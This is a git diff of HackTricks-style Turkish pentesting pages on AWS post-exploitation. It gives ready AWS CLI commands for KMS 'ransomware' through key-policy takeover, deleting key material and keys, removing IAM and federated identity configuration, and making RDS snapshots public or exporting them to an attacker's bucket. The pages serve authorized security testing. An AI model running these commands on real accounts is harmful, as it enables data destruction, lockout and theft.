`iam:DetachUserPolicy` — bir aktörün yönetilen/inline politikaları silmesine veya ayırmasına, politika sürümlerini veya izin sınırlarını kaldırmasına ve politikaların kullanıcılar, gruplar veya rollerle bağlantısını kesmesine olanak tanır. Bu yetkilendirmeleri yok eder ve izin modelini değiştirebilir; bu da bu politikalara bağlı olan principal'lar için anında erişim kaybına veya denial-of-service'e yol açabilir, bu yüzden bu IAM eylemleri sıkı şekilde kısıtlanmalı ve izlenmelidir. +```bash +# Delete a group policy +aws iam delete-group-policy \ +--group-name \ +--policy-name + +# Delete a role policy +aws iam delete-role-policy \ +--role-name \ +--policy-name +``` +### Federated Kimlik Silme +With `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, and `iam:RemoveClientIDFromOpenIDConnectProvider`, bir aktör OIDC/SAML kimlik sağlayıcılarını silebilir veya client ID'lerini kaldırabilir. Bu, federated authentication'ı bozarak token doğrulamayı engeller ve IdP veya yapılandırmalar geri yüklenene kadar SSO'ya dayanan kullanıcılar ve servisler için erişimi derhal engeller. +```bash +# Delete OIDCP provider +aws iam delete-open-id-connect-provider \ +--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com + +# Delete SAML provider +aws iam delete-saml-provider \ +--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS +``` +### Yetkisiz MFA Etkinleştirme +`iam:EnableMFADevice` ile bir aktör, bir kullanıcının kimliğine bir MFA cihazı kaydedebilir ve meşru kullanıcının oturum açmasını engelleyebilir. Yetkisiz bir MFA etkinleştirildiğinde kullanıcı, cihaz kaldırılana veya sıfırlanana kadar kilitlenebilir (Not: birden fazla MFA cihazı kaydedildiyse, oturum açmak için yalnızca biri yeterlidir; bu nedenle bu saldırı erişimi engellemede etkili olmayacaktır). +```bash +aws iam enable-mfa-device \ +--user-name \ +--serial-number arn:aws:iam::111122223333:mfa/alice \ +--authentication-code1 123456 \ +--authentication-code2 789012 +``` +### Sertifika/Anahtar Meta Veri Değiştirme +With `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, bir aktör açık anahtarların ve sertifikaların durumunu veya meta verilerini değiştirebilir. Anahtarları/sertifikaları devre dışı bırakarak veya referansları değiştirerek SSH kimlik doğrulamayı bozabilir, X.509/TLS doğrulamalarını geçersiz kılabilir ve bu kimlik bilgilerine bağımlı hizmetleri derhal aksatabilir; bu da erişim veya kullanılabilirlik kaybına neden olur. +```bash +aws iam update-ssh-public-key \ +--user-name \ +--ssh-public-key-id APKAEIBAERJR2EXAMPLE \ +--status Inactive + +aws iam update-server-certificate \ +--server-certificate-name \ +--new-path /prod/ +``` +## Kaynaklar + +- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md deleted file mode 100644 index 506a98c74..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md +++ /dev/null @@ -1,182 +0,0 @@ -# AWS - KMS Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## KMS - -Daha fazla bilgi için bakınız: - -{{#ref}} -../aws-services/aws-kms-enum.md -{{#endref}} - -### Encrypt/Decrypt information - -`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files: - -- `fileb://:` dosyayı ikili modda okur, genellikle metin olmayan dosyalar için kullanılır. -- `file://:` dosyayı metin modunda okur, tipik olarak düz metin dosyaları, scriptler veya özel kodlama gereksinimi olmayan JSON için kullanılır. - -> [!TIP] -> Note that if you want to decrypt some data inside a file, the file must contain the binary data, not base64 encoded data. (fileb://) - -- Using a **symmetric** key -```bash -# Encrypt data -aws kms encrypt \ ---key-id f0d3d719-b054-49ec-b515-4095b4777049 \ ---plaintext fileb:///tmp/hello.txt \ ---output text \ ---query CiphertextBlob | base64 \ ---decode > ExampleEncryptedFile - -# Decrypt data -aws kms decrypt \ ---ciphertext-blob fileb://ExampleEncryptedFile \ ---key-id f0d3d719-b054-49ec-b515-4095b4777049 \ ---output text \ ---query Plaintext | base64 \ ---decode -``` -- Bir **asymmetric** anahtar kullanma: -```bash -# Encrypt data -aws kms encrypt \ ---key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ ---encryption-algorithm RSAES_OAEP_SHA_256 \ ---plaintext fileb:///tmp/hello.txt \ ---output text \ ---query CiphertextBlob | base64 \ ---decode > ExampleEncryptedFile - -# Decrypt data -aws kms decrypt \ ---ciphertext-blob fileb://ExampleEncryptedFile \ ---encryption-algorithm RSAES_OAEP_SHA_256 \ ---key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ ---output text \ ---query Plaintext | base64 \ ---decode -``` -### KMS Ransomware - -KMS üzerinde ayrıcalıklı erişime sahip bir saldırgan, anahtarların KMS politikasını değiştirebilir ve hesabına bu anahtarlara erişim verebilir; meşru hesabın sahip olduğu erişimi kaldırabilir. - -Böylece meşru hesap kullanıcıları, bu anahtarlarla şifrelenmiş herhangi bir servisin bilgilerine erişemeyecek ve bu, hesap üzerinde basit ama etkili bir ransomware oluşturacaktır. - -> [!WARNING] -> Bu saldırıdan **AWS managed keys etkilenmez**, sadece **Customer managed keys** etkilenir. - -> Ayrıca **`--bypass-policy-lockout-safety-check`** parametresinin kullanılması gerektiğini unutmayın (web konsolunda bu seçeneğin olmaması bu saldırıyı yalnızca CLI'dan mümkün kılar). -```bash -# Force policy change -aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ ---policy-name default \ ---policy file:///tmp/policy.yaml \ ---bypass-policy-lockout-safety-check - -{ -"Id": "key-consolepolicy-3", -"Version": "2012-10-17", -"Statement": [ -{ -"Sid": "Enable IAM User Permissions", -"Effect": "Allow", -"Principal": { -"AWS": "arn:aws:iam:::root" -}, -"Action": "kms:*", -"Resource": "*" -} -] -} -``` -> [!CAUTION] -> Bu politikayı değiştirip erişimi yalnızca bir harici hesaba verirseniz ve ardından bu harici hesaptan orijinal hesaba erişimi geri vermek için yeni bir politika ayarlamaya çalışırsanız, bunu yapamazsınız çünkü Put Polocy action cannot be performed from a cross account. - -
- -### Generic KMS Ransomware - -global KMS Ransomware gerçekleştirmek için başka bir yol daha vardır; bu aşağıdaki adımları içerir: - -- Saldırgan tarafından içe aktarılan **key with a key material** ile yeni bir key oluşturun -- **Re-encrypt older data** — kurbanın önceki sürümle şifrelenmiş daha eski verilerini yeni sürümle yeniden şifreleyin -- **Delete the KMS key** -- Artık yalnızca orijinal key material'e sahip saldırgan şifrelenmiş veriyi çözebilecektir - -### Delete Keys via kms:DeleteImportedKeyMaterial - -With the `kms:DeleteImportedKeyMaterial` permission, an actor can delete the imported key material from CMKs with `Origin=EXTERNAL` (CMKs that have imported their key material), making them unable to decrypt data. This action is destructive and irreversible unless compatible material is re-imported, allowing an attacker to effectively cause ransomware-like data loss by rendering encrypted information permanently inaccessible. -```bash -aws kms delete-imported-key-material --key-id -``` -### Anahtarları yok etme - -Anahtarları yok ederek DoS gerçekleştirmek mümkündür. -```bash -# Schedule the destoy of a key (min wait time is 7 days) -aws kms schedule-key-deletion \ ---key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \ ---pending-window-in-days 7 -``` -> [!CAUTION] -> Unutmayın: AWS artık **önceki işlemlerin hesaplar arası olarak gerçekleştirilmesini engelliyor:** - -### Alias'i Değiştir veya Sil -Bu saldırı AWS KMS alias'larını siler veya yeniden yönlendirir, anahtar çözümlemesini bozar ve bu alias'lara bağlı olan hizmetlerde anında hatalara yol açarak bir hizmet engelleme (denial-of-service) durumuna neden olur. `kms:DeleteAlias` veya `kms:UpdateAlias` gibi izinlerle bir saldırgan alias'ları kaldırabilir veya yeniden hedefleyebilir ve kriptografik işlemleri (ör. encrypt, describe) kesintiye uğratabilir. Alias yerine key ID'yi referans veren herhangi bir hizmet, alias geri yüklenene veya doğru şekilde yeniden eşlenene kadar başarısız olabilir. -```bash -# Delete Alias -aws kms delete-alias --alias-name alias/ - -# Update Alias -aws kms update-alias \ ---alias-name alias/ \ ---target-key-id -``` -### Anahtar Silinmesini İptal Etme -`kms:CancelKeyDeletion` ve `kms:EnableKey` gibi izinlerle, bir aktör bir AWS KMS customer master key'in planlanmış silinmesini iptal edebilir ve daha sonra yeniden etkinleştirebilir. Bu işlem anahtarı kurtarır (başlangıçta Disabled durumunda) ve daha önce korunan verileri şifre çözme yeteneğini geri kazandırır; böylece exfiltration mümkün olur. -```bash -# Firts cancel de deletion -aws kms cancel-key-deletion \ ---key-id - -## Second enable the key -aws kms enable-key \ ---key-id -``` -### Anahtarı Devre Dışı Bırak -`kms:DisableKey` iznine sahip bir aktör, bir AWS KMS customer master key'i devre dışı bırakabilir ve böylece key'in encryption veya decryption için kullanılmasını engeller. Bu, o CMK'ye bağlı hizmetlerin erişimini keser ve anahtar yeniden etkinleştirene kadar anında kesintilere veya bir denial-of-service'e neden olabilir. -```bash -aws kms disable-key \ ---key-id -``` -### Paylaşılan Sır Türetme -`kms:DeriveSharedSecret` izniyle, bir aktör KMS tarafından tutulan bir private key ile kullanıcı tarafından sağlanan bir public key'i kullanarak bir ECDH shared secret hesaplayabilir. -```bash -aws kms derive-shared-secret \ ---key-id \ ---public-key fileb:/// \ ---key-agreement-algorithm -``` -### Impersonation via kms:Sign -`kms:Sign` izniyle, bir aktör KMS'de saklanan bir CMK'yı özel anahtarı ifşa etmeden veriyi kriptografik olarak imzalamak için kullanabilir; bu, impersonation'a olanak tanıyan veya kötü amaçlı işlemleri yetkilendiren geçerli imzalar üretir. -```bash -aws kms sign \ ---key-id \ ---message fileb:// \ ---signing-algorithm \ ---message-type RAW -``` -### DoS with Custom Key Stores -`kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` veya `kms:UpdateCustomKeyStore` gibi izinlere sahip bir aktör, bir AWS KMS Custom Key Store (CKS)'yi değiştirebilir, bağlantısını kesebilir veya silebilir ve böylece master anahtarlarını çalışmaz hâle getirebilir. Bu, bu anahtarlara bağlı hizmetler için şifreleme, şifre çözme ve imzalama işlemlerini bozarak anında bir denial-of-service'e neden olabilir. Bu nedenle bu izinlerin kısıtlanması ve izlenmesi kritiktir. -```bash -aws kms delete-custom-key-store --custom-key-store-id - -aws kms disconnect-custom-key-store --custom-key-store-id - -aws kms update-custom-key-store --custom-key-store-id --new-custom-key-store-name --key-store-password -``` -
- -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md new file mode 100644 index 000000000..62ca8903b --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md @@ -0,0 +1,183 @@ +# AWS - KMS Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## KMS + +Daha fazla bilgi için bak: + +{{#ref}} +../../aws-services/aws-kms-enum.md +{{#endref}} + +### Şifreleme/Şifre çözme bilgileri + +`fileb://` ve `file://` AWS CLI komutlarında yerel dosya yolunu belirtmek için kullanılan URI şemalarıdır: + +- `fileb://:` Dosyayı binary modda okur, genellikle metin olmayan dosyalar için kullanılır. +- `file://:` Dosyayı metin modunda okur; genellikle düz metin dosyaları, scriptler veya özel encoding gerektirmeyen JSON için kullanılır. + +> [!TIP] +> Dosya içindeki bazı verileri şifre çözmek istiyorsanız, dosya binary veriyi içermelidir, base64 kodlu veri değil. (fileb://) + +- **Simetrik** bir anahtar kullanarak +```bash +# Encrypt data +aws kms encrypt \ +--key-id f0d3d719-b054-49ec-b515-4095b4777049 \ +--plaintext fileb:///tmp/hello.txt \ +--output text \ +--query CiphertextBlob | base64 \ +--decode > ExampleEncryptedFile + +# Decrypt data +aws kms decrypt \ +--ciphertext-blob fileb://ExampleEncryptedFile \ +--key-id f0d3d719-b054-49ec-b515-4095b4777049 \ +--output text \ +--query Plaintext | base64 \ +--decode +``` +- Bir **asimetrik** anahtar kullanarak: +```bash +# Encrypt data +aws kms encrypt \ +--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ +--encryption-algorithm RSAES_OAEP_SHA_256 \ +--plaintext fileb:///tmp/hello.txt \ +--output text \ +--query CiphertextBlob | base64 \ +--decode > ExampleEncryptedFile + +# Decrypt data +aws kms decrypt \ +--ciphertext-blob fileb://ExampleEncryptedFile \ +--encryption-algorithm RSAES_OAEP_SHA_256 \ +--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ +--output text \ +--query Plaintext | base64 \ +--decode +``` +### KMS Ransomware + +KMS üzerinde ayrıcalıklı erişime sahip bir saldırgan, anahtarların KMS politikasını değiştirebilir ve **hesabına bu anahtarlara erişim verebilir**, meşru hesaba verilmiş erişimi kaldırabilir. + +Bu durumda, meşru hesap kullanıcıları bu anahtarlarla şifrelenmiş herhangi bir servisin hiçbir verisine erişemeyecek ve bu, hesap üzerinde kolay ama etkili bir ransomware oluşturacaktır. + +> [!WARNING] +> Dikkat: **AWS managed keys aren't affected** bu saldırıdan etkilenmez; etkilenenler yalnızca **Customer managed keys**. + +> Ayrıca **`--bypass-policy-lockout-safety-check`** parametresinin kullanılması gerektiğini unutmayın (web console'da bu seçeneğin olmaması bu saldırıyı yalnızca CLI üzerinden mümkün kılar). +```bash +# Force policy change +aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ +--policy-name default \ +--policy file:///tmp/policy.yaml \ +--bypass-policy-lockout-safety-check + +{ +"Id": "key-consolepolicy-3", +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": "kms:*", +"Resource": "*" +} +] +} +``` +> [!CAUTION] +> Bu politikayı değiştirip yalnızca bir external account'a erişim verirseniz ve ardından bu external account'tan orijinal hesaba erişimi geri vermek için yeni bir politika ayarlamaya çalışırsanız, bunu yapamazsınız çünkü Put Polocy action cross account'tan gerçekleştirilemez. + +
+ +### Generic KMS Ransomware + +Küresel bir KMS Ransomware gerçekleştirmek için başka bir yol daha vardır; bu şu adımları içerir: + +- Create a new **key with a key material** imported by the attacker +- **Re-encrypt older data** of the victim encrypted with the previous version with the new one. +- **Delete the KMS key** +- Now only the attacker, who has the original key material could be able to decrypt the encrypted data + +### kms:DeleteImportedKeyMaterial ile Anahtarları Silme + +`kms:DeleteImportedKeyMaterial` iznine sahip bir aktör, `Origin=EXTERNAL` olan CMKs'den (key material'larını import etmiş CMK'ler) imported key material'i silebilir ve böylece bu CMK'ların veriyi decrypt etmesini imkansız hale getirebilir. Bu eylem yıkıcıdır ve uyumlu bir materyal tekrar import edilmedikçe geri döndürülemez; bu da bir saldırganın şifrelenmiş bilgiyi kalıcı olarak erişilemez hale getirerek ransomware-benzeri veri kaybına neden olmasını sağlar. +```bash +aws kms delete-imported-key-material --key-id +``` +### Anahtarları yok etme + +Anahtarları yok etmek DoS gerçekleştirmeye yol açabilir. +```bash +# Schedule the destoy of a key (min wait time is 7 days) +aws kms schedule-key-deletion \ +--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \ +--pending-window-in-days 7 +``` +> [!CAUTION] +> AWS'nin artık önceki eylemlerin bir hesaplar arası ortamdan gerçekleştirilmesini **engellediğini** unutmayın: + +### Alias'ı Değiştirme veya Silme +Bu saldırı AWS KMS alias'larını siler veya yönlendirir, key resolution'ı bozar ve bu alias'lara bağlı hizmetlerde hemen hatalara neden olur; bu da bir denial-of-service ile sonuçlanır. `kms:DeleteAlias` veya `kms:UpdateAlias` gibi izinlere sahip bir saldırgan alias'ları kaldırabilir veya yeniden yönlendirebilir ve kriptografik işlemleri (örn., encrypt, describe) bozabilir. Alias yerine key ID'yi referans alan herhangi bir hizmet, alias geri yüklenene veya doğru şekilde yeniden eşlenene kadar başarısız olabilir. +```bash +# Delete Alias +aws kms delete-alias --alias-name alias/ + +# Update Alias +aws kms update-alias \ +--alias-name alias/ \ +--target-key-id +``` +### Anahtar Silimini İptal Etme +`kms:CancelKeyDeletion` ve `kms:EnableKey` gibi izinlere sahip bir aktör, bir AWS KMS customer master key'in planlanmış silinmesini iptal edebilir ve daha sonra onu yeniden etkinleştirebilir. Bu işlem anahtarı (başlangıçta Disabled durumda) kurtarır ve daha önce korunmuş verileri deşifre etme yeteneğini geri getirir; böylece exfiltration mümkün olur. +```bash +# Firts cancel de deletion +aws kms cancel-key-deletion \ +--key-id + +## Second enable the key +aws kms enable-key \ +--key-id +``` +### Anahtarı Devre Dışı Bırak + +`kms:DisableKey` izniyle bir aktör, bir AWS KMS customer master key'i devre dışı bırakabilir; bu, anahtarın şifreleme veya şifre çözme için kullanılmasını engeller. Bu, o CMK'ye bağımlı hizmetlerin erişimini keser ve anahtar yeniden etkinleştirilene kadar anında aksamalara veya bir denial-of-service'e neden olabilir. +```bash +aws kms disable-key \ +--key-id +``` +### Derive Shared Secret +`kms:DeriveSharedSecret` izni ile, bir aktör KMS'de tutulan bir özel anahtarı ve kullanıcı tarafından sağlanan bir açık anahtarı kullanarak bir ECDH paylaşılan sırrı hesaplayabilir. +```bash +aws kms derive-shared-secret \ +--key-id \ +--public-key fileb:/// \ +--key-agreement-algorithm +``` +### Impersonation via kms:Sign +`kms:Sign` izni ile bir aktör, KMS'de saklanan bir CMK'yi özel anahtarı açığa çıkarmadan verileri kriptografik olarak imzalamak için kullanabilir; bu, impersonation'a olanak tanıyabilecek veya kötü amaçlı işlemleri yetkilendirebilecek geçerli imzalar üretir. +```bash +aws kms sign \ +--key-id \ +--message fileb:// \ +--signing-algorithm \ +--message-type RAW +``` +### Custom Key Stores ile DoS +`kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, veya `kms:UpdateCustomKeyStore` gibi izinlere sahip bir aktör, bir AWS KMS Custom Key Store (CKS) üzerinde değişiklik yapabilir, bağlantısını kesebilir veya silebilir; bu da master anahtarlarını kullanılamaz hâle getirir. Bu, o anahtarlara bağlı hizmetler için şifreleme, şifre çözme ve imzalama işlemlerini bozar ve anında bir denial-of-service'e yol açabilir. Bu nedenle bu izinleri kısıtlamak ve izlemek kritik öneme sahiptir. +```bash +aws kms delete-custom-key-store --custom-key-store-id + +aws kms disconnect-custom-key-store --custom-key-store-id + +aws kms update-custom-key-store --custom-key-store-id --new-custom-key-store-name --key-store-password +``` +
+ +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md deleted file mode 100644 index 09a2b777f..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md +++ /dev/null @@ -1,30 +0,0 @@ -# AWS - Lightsail Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## Lightsail - -Daha fazla bilgi için kontrol edin: - -{{#ref}} -../aws-services/aws-lightsail-enum.md -{{#endref}} - -### Eski DB anlık görüntülerini geri yükle - -Eğer DB anlık görüntülerine sahipse, **eski anlık görüntülerde şu anda silinmiş hassas bilgileri bulma** şansınız olabilir. **Anlık görüntüyü** **yeni bir veritabanında** geri yükleyin ve kontrol edin. - -### Instance Anlık Görüntülerini Geri Yükle - -Instance anlık görüntüleri, zaten silinmiş instance'ların **hassas bilgilerini** veya mevcut instance'da silinmiş hassas bilgileri içerebilir. **Anlık görüntülerden yeni instance'lar oluşturun** ve kontrol edin.\ -Ya da **anlık görüntüyü EC2'de bir AMI'ye aktarın** ve tipik bir EC2 instance'ının adımlarını izleyin. - -### Hassas Bilgilere Erişim - -Potansiyel hassas bilgilere erişmenin farklı yollarını öğrenmek için Lightsail privesc seçeneklerine göz atın: - -{{#ref}} -../aws-privilege-escalation/aws-lightsail-privesc.md -{{#endref}} - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md new file mode 100644 index 000000000..c59d2f74b --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md @@ -0,0 +1,30 @@ +# AWS - Lightsail Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Lightsail + +Daha fazla bilgi için: + +{{#ref}} +../../aws-services/aws-lightsail-enum.md +{{#endref}} + +### Restore old DB snapshots + +DB'de snapshot'lar varsa, eski snapshot'larda şu anda silinmiş olan **hassas bilgileri bulabilirsiniz**. **Geri yükleyin** snapshot'ı **yeni bir veritabanında** ve kontrol edin. + +### Restore Instance Snapshots + +Instance snapshot'ları, zaten silinmiş instance'ların veya mevcut instance'da silinmiş olan **hassas bilgileri** içerebilir. **Snapshot'lardan yeni instance'lar oluşturun** ve bunları kontrol edin.\ +Veya **snapshot'ı EC2'daki bir AMI'ye dışa aktarın** ve tipik bir EC2 instance'ının adımlarını izleyin. + +### Access Sensitive Information + +Potansiyel hassas bilgilere erişmenin farklı yollarını öğrenmek için Lightsail privesc seçeneklerine bakın: + +{{#ref}} +../../aws-privilege-escalation/aws-lightsail-privesc/README.md +{{#endref}} + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md deleted file mode 100644 index 2d49a1c30..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md +++ /dev/null @@ -1,17 +0,0 @@ -# AWS - Organizasyonlar Sonrası İstismar - -{{#include ../../../banners/hacktricks-training.md}} - -## Organizasyonlar - -AWS Organizasyonları hakkında daha fazla bilgi için kontrol edin: - -{{#ref}} -../aws-services/aws-organizations-enum.md -{{#endref}} - -### Organizasyonu Terketmek -```bash -aws organizations deregister-account --account-id --region -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md new file mode 100644 index 000000000..87175a899 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md @@ -0,0 +1,17 @@ +# AWS - Organizations Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Organizations + +AWS Organizations hakkında daha fazla bilgi için bakınız: + +{{#ref}} +../../aws-services/aws-organizations-enum.md +{{#endref}} + +### Org'tan ayrılma +```bash +aws organizations deregister-account --account-id --region +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md similarity index 72% rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md index 1a7104ac7..027bb6b40 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md @@ -1,18 +1,18 @@ -# AWS - RDS Post Exploitation +# AWS - RDS Erişim Sonrası -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## RDS Daha fazla bilgi için bakınız: {{#ref}} -../aws-services/aws-relational-database-rds-enum.md +../../aws-services/aws-relational-database-rds-enum.md {{#endref}} ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance` -Saldırgan yeterli izinlere sahipse, DB'nin bir snapshot'ını oluşturarak ve ardından snapshot'tan **DB publicly accessible** bir DB oluşturarak onu herkese açık hale getirebilir. +Saldırganın yeterli izinleri varsa, DB'nin bir snapshot'ını oluşturarak ve ardından snapshot'tan publicly accessible bir DB oluşturarak **DB publicly accessible** yapabilir. ```bash aws rds describe-db-instances # Get DB identifier @@ -40,9 +40,9 @@ aws rds modify-db-instance \ ``` ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot` -Bu izinlere sahip bir saldırgan, **bir DB'nin snapshot'ını oluşturup** bunu **herkese** **açık** hale getirebilir. Sonra, kendi hesabında o snapshot'tan bir DB oluşturabilir. +Bu izinlere sahip bir saldırgan, bir DB'nin **snapshot'ını oluşturabilir** ve bunu **herkese** **açık** hale getirebilir. Sonrasında kendi hesabında bu snapshot'tan bir DB oluşturabilir. -Eğer saldırgan **`rds:CreateDBSnapshot` iznine sahip değilse**, yine de oluşturulmuş **diğer** snapshot'ları **herkese** **açık** hale getirebilir. +Eğer saldırgan **`rds:CreateDBSnapshot` iznine sahip değilse**, yine de oluşturulmuş **diğer** snapshot'ları **kamuya açık** yapabilir. ```bash # create snapshot aws rds create-db-snapshot --db-instance-identifier --db-snapshot-identifier @@ -53,45 +53,45 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier -- ``` ### `rds:DownloadDBLogFilePortion` -`rds:DownloadDBLogFilePortion` yetkisine sahip bir attacker, **RDS instance'ın log dosyalarının bölümlerini indirebilir**. Eğer hassas veriler veya access credentials kazara loglanırsa, attacker bu bilgileri kullanarak privileges'larını escalate edebilir veya yetkisiz işlemler gerçekleştirebilir. +`rds:DownloadDBLogFilePortion` yetkisine sahip bir attacker **RDS instance'ının log dosyalarının bölümlerini indirebilir**. Eğer hassas veriler veya erişim kimlik bilgileri kazara loglanmışsa, attacker bu bilgileri potansiyel olarak yetkilerini yükseltmek veya yetkisiz işlemler gerçekleştirmek için kullanabilir. ```bash aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text ``` -**Potential Impact**: leaked credentials kullanılarak hassas bilgilere erişim veya yetkisiz işlemler. +**Olası Etki**: Hassas bilgilere erişim veya leaked credentials kullanılarak yetkisiz işlemler. ### `rds:DeleteDBInstance` -Bu izinlere sahip bir saldırgan mevcut RDS instance'larını **DoS** ile kullanılamaz hale getirebilir. +Bu izinlere sahip bir saldırgan **DoS existing RDS instances** yapabilir. ```bash # Delete aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot ``` -**Potansiyel etki**: Mevcut RDS instance'larının silinmesi ve potansiyel veri kaybı. +**Olası etki**: Mevcut RDS instance'larının silinmesi ve olası veri kaybı. ### `rds:StartExportTask` > [!NOTE] -> YAPILACAK: Test +> TODO: Test -Bu izne sahip bir saldırgan **bir RDS instance snapshot'ını bir S3 bucket'a dışa aktarabilir**. Eğer saldırgan hedef S3 bucket üzerinde kontrol sahibi ise, dışa aktarılan snapshot içindeki hassas verilere erişebilir. +Bu izne sahip bir saldırgan **bir RDS instance snapshot'ını bir S3 bucket'a dışa aktarabilir**. Eğer saldırgan hedef S3 bucket üzerinde kontrole sahipse, dışa aktarılan snapshot içindeki hassas verilere erişebilir. ```bash aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id ``` -**Potential impact**: Dışa aktarılan snapshot'taki hassas verilere erişim. +**Potansiyel etki**: Dışa aktarılan snapshot'taki hassas verilere erişim. -### Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`) +### Gizli geri yükleme için Bölgeler Arası otomatik yedeklerin çoğaltılması (`rds:StartDBInstanceAutomatedBackupsReplication`) -Cross-Region automated backups replication'ı kötüye kullanarak bir RDS instance'ının automated backups'larını sessizce başka bir AWS Region'a kopyalayabilir ve orada restore edebilirsiniz. Ardından saldırgan restore edilen DB'yi genel erişime açabilir ve ana parolayı sıfırlayarak, savunucuların izlemiyor olabileceği bir Bölge'den veriye out-of-band erişim sağlayabilir. +Cross-Region otomatik yedek çoğaltmayı kötüye kullanarak bir RDS instance'ının otomatik yedeklerini sessizce başka bir AWS Region'a kopyalayın ve orada geri yükleyin. Saldırgan daha sonra geri yüklenen DB'yi genel erişime açabilir ve ana parolayı sıfırlayarak savunucuların izlemediği bir Region'da veriye out-of-band erişim sağlayabilir. -Permissions needed (minimum): -- `rds:StartDBInstanceAutomatedBackupsReplication` hedef Bölge'de -- `rds:DescribeDBInstanceAutomatedBackups` hedef Bölge'de -- `rds:RestoreDBInstanceToPointInTime` hedef Bölge'de -- `rds:ModifyDBInstance` hedef Bölge'de -- `rds:StopDBInstanceAutomatedBackupsReplication` (opsiyonel temizlik) -- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (restore edilen DB'yi açmak için) +Gerekli izinler (asgari): +- `rds:StartDBInstanceAutomatedBackupsReplication` hedef Region'da +- `rds:DescribeDBInstanceAutomatedBackups` hedef Region'da +- `rds:RestoreDBInstanceToPointInTime` hedef Region'da +- `rds:ModifyDBInstance` hedef Region'da +- `rds:StopDBInstanceAutomatedBackupsReplication` (isteğe bağlı temizlik) +- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (geri yüklenen DB'yi erişime 